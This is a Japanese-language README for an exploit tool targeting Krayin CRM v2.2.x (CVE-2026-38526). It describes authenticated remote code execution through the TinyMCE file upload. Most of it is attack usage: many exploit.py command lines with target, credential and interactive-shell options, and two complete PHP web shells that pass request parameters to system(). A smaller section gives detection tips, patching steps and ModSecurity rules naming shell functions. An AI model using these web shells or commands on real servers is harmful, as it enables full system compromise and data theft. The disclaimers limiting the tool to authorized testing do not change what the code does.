
CVE-2026-38526のKrayin CRM v2.2.x向けエクスプロイト - TinyMCEファイルアップロードバイパスを介した認証済みRCE。インタラクティブシェル、マルチタイプペイロード、自動シェル生成、および検証機能を備えています。作成者: Sudeepa Wanigarathna。許可されたテスト専用。
⚠️ 許可されたセキュリティテストのみ - 無許可の使用は違法かつ非倫理的です。
このエクスプロイトツールは、Krayin CRM バージョン 2.2.x で発見された重大な認証済みリモートコード実行 (RCE) 脆弱性を示しています。この脆弱性は TinyMCE ファイルアップロード機能に存在し、認証済み管理者がサーバー上で任意の PHP コードをアップロードおよび実行することを可能にします。
| プロパティ | 値 |
|---|---|
| CVE ID | CVE-2026-38526 |
| 影響を受けるソフトウェア | Krayin CRM v2.2.x |
| 脆弱性タイプ | 認証済みリモートコード実行 (RCE) |
| 認証の必要性 | はい (管理者レベルのアクセス) |
| 影響 | システム全体の侵害 |
| CVSS スコア | 8.8 (高) |
脆弱性は、TinyMCE ファイルアップロードエンドポイント (/admin/tinymce/upload) での不十分なファイルタイプ検証に起因します。認証済み管理者は以下が可能です:
bashPython 3.7+pip install httpx beautifulsoup4 coloramagit clone https://github.com/CerberusMrXi/KrayinCRM-RCE-Exploit-CVE-2026-38526/.git
cd KrayinCRM-RCE-Exploit-CVE-2026-38526
pip install -r requirements.txt
requirements.txt)httpx>=0.24.0
beautifulsoup4>=4.12.0
colorama>=0.4.6
python3 exploit.py -t <TARGET_URL> -u <USERNAME> -p <PASSWORD> [OPTIONS]
# Basic exploitation with generated shell
python3 exploit.py -t http://target.com -u [email protected] -p password
# Upload custom PHP shell file
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php
# Generate advanced shell with interactive mode
python3 exploit.py -t http://target.com -u [email protected] -p password --shell-type advanced -i
# Generate shell file without exploitation
python3 exploit.py -t http://target.com -u [email protected] -p password --generate-only --shell-type advanced -o my_shell.php
# Use with proxy for testing/debugging
python3 exploit.py -t http://target.com -u [email protected] -p password --proxy http://127.0.0.1:8080
# JSON output for automation
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php -o json
# Verbose mode with custom timeout
python3 exploit.py -t http://target.com -u [email protected] -p password -v --timeout 60
# Custom User-Agent and headers
python3 exploit.py -t http://target.com -u [email protected] -p password --user-agent "CustomUA/1.0" --header "X-Forwarded-For: 127.0.0.1"
基本シェル (basic)
system() 関数によるシンプルなコマンド実行。
<?php if(isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); } ?>
高度なシェル (advanced)
豊富な機能を備えたシェル:
最小シェル (minimal)
ステルス性のための最小フットプリント。
<?php system($_GET["cmd"]); ?>
ファイルマネージャー (file_manager)
完全なファイル管理インターフェース:
カスタムシェル (custom)
独自の PHP シェルファイルを -f パラメータで使用します。
対話的使用に適した人間が読める色付き出力。
-o json)自動化や統合のための機械可読形式。
{
"success": true,
"shell_url": "http://target.com/shell.php",
"upload_url": "/storage/upload/shell.php",
"message": "Upload successful",
"timestamp": 1699123456.789,
"details": {
"status_code": 200,
"response": "..."
}
}
-q, --quiet)エラー以外の出力を抑制。バッチ処理に便利。
--header "X-Custom-Header: value" --header "User-Agent: CustomUA/1.0"
監視すべきファイル:
public/storage/upload/ 内の異常な PHP ファイルimage.php.jpg)確認すべきログ:
/admin/tinymce/upload への POST リクエストシステム指標:
即時対応:
# Update to patched version
composer update krayin/crm
# Disable admin access temporarily
# Remove unnecessary admin accounts
# Change all admin passwords
ファイルアップロードの強化:
// Validate file type by content, not just extension
// Implement content security policy
// Use Web Application Firewall (WAF)
// Enable file upload scanning
アクセス制御:
# Restrict admin IPs in .htaccess
# Implement MFA for admin accounts
# Regular admin audit
# Session timeout policies
WAF ルール (ModSecurity):
# Block suspicious file uploads
SecRule FILES "\.(php|phtml|php[0-9])" "id:1001,deny,status:403,msg:'PHP file upload blocked'"
# Block web shells
SecRule ARGS "system|exec|shell_exec|passthru" "id:1002,deny,status:403,msg:'Shell command blocked'"
この脆弱性は、責任あるセキュリティ研究を通じて発見されました。開示プロセスは以下の手順に従いました:
THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESSED OR IMPLIED WARRANTIES,
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE.
USE OF THIS TOOL FOR ANY PURPOSE OTHER THAN AUTHORIZED SECURITY TESTING
IS ILLEGAL AND UNETHICAL. THE AUTHOR TAKES NO RESPONSIBILITY FOR
UNAUTHORIZED USE OR ANY DAMAGES CAUSED BY THIS TOOL.
問題: 認証に失敗する
/admin/login であることを確認問題: ファイルアップロードに失敗する
問題: シェルがコマンドを実行しない
php.ini で PHP 関数が無効化されていないことを確認echo test のような簡単なコマンドでテスト問題: SSL 証明書エラー
--verify-ssl フラグを使用するか、検証を無効にする# Enable verbose logging
python3 exploit.py -t http://target.com -u admin -p pass -v
# With proxy (Burp Suite, etc.)
python3 exploit.py -t http://target.com -u admin -p pass --proxy http://127.0.0.1:8080
貢献を歓迎します!以下の点を確認してください:
このツールをセキュリティ研究に役立つと思われた場合、以下をご検討ください:
セキュリティ研究のために ❤️ を込めて作成されました
覚えておいてください:大きな力には大きな責任が伴います。この知識を賢く使いましょう!
# Quick reference
python3 exploit.py -t URL -u USER -p PASS [OPTIONS]
# Options:
# -f FILE Upload custom shell
# --shell-type TYPE Basic|Advanced|Minimal|File_Manager|Custom
# -i Interactive mode
# --proxy URL HTTP proxy
# -v Verbose output
# -o json JSON output
# --generate-only Create shell without exploiting
# --timeout SEC Request timeout
# --retry N Retry count
# --user-agent UA Custom User-Agent
# --header "K: V" Custom headers
# --verify-ssl Verify SSL certificates
# -q, --quiet Suppress output
🔒 覚えておいてください:システムをテストする前に必ず書面による許可を得てください!
| パラメータ | 説明 |
|---|
-t, --target | ターゲット URL (例: http://192.168.1.100) |
-u, --username | 管理者ユーザー名またはメール |
-p, --password | 管理者パスワード |
| オプション | 説明 | デフォルト |
|---|
--timeout | リクエストタイムアウト (秒) | 30 |
--retry | リトライ回数 | 3 |
--retry-delay | リトライ間の遅延 (秒) | 2 |
--user-agent | カスタム User-Agent 文字列 | デフォルトブラウザ UA |
--header | カスタム HTTP ヘッダー (Key: Value) | なし |
--verify-ssl | SSL 証明書の検証 | False |
--proxy | HTTP/HTTPS プロキシ URL | なし |
-v, --verbose | デバッグ出力を有効化 | False |
-q, --quiet | すべての出力を抑制 | False |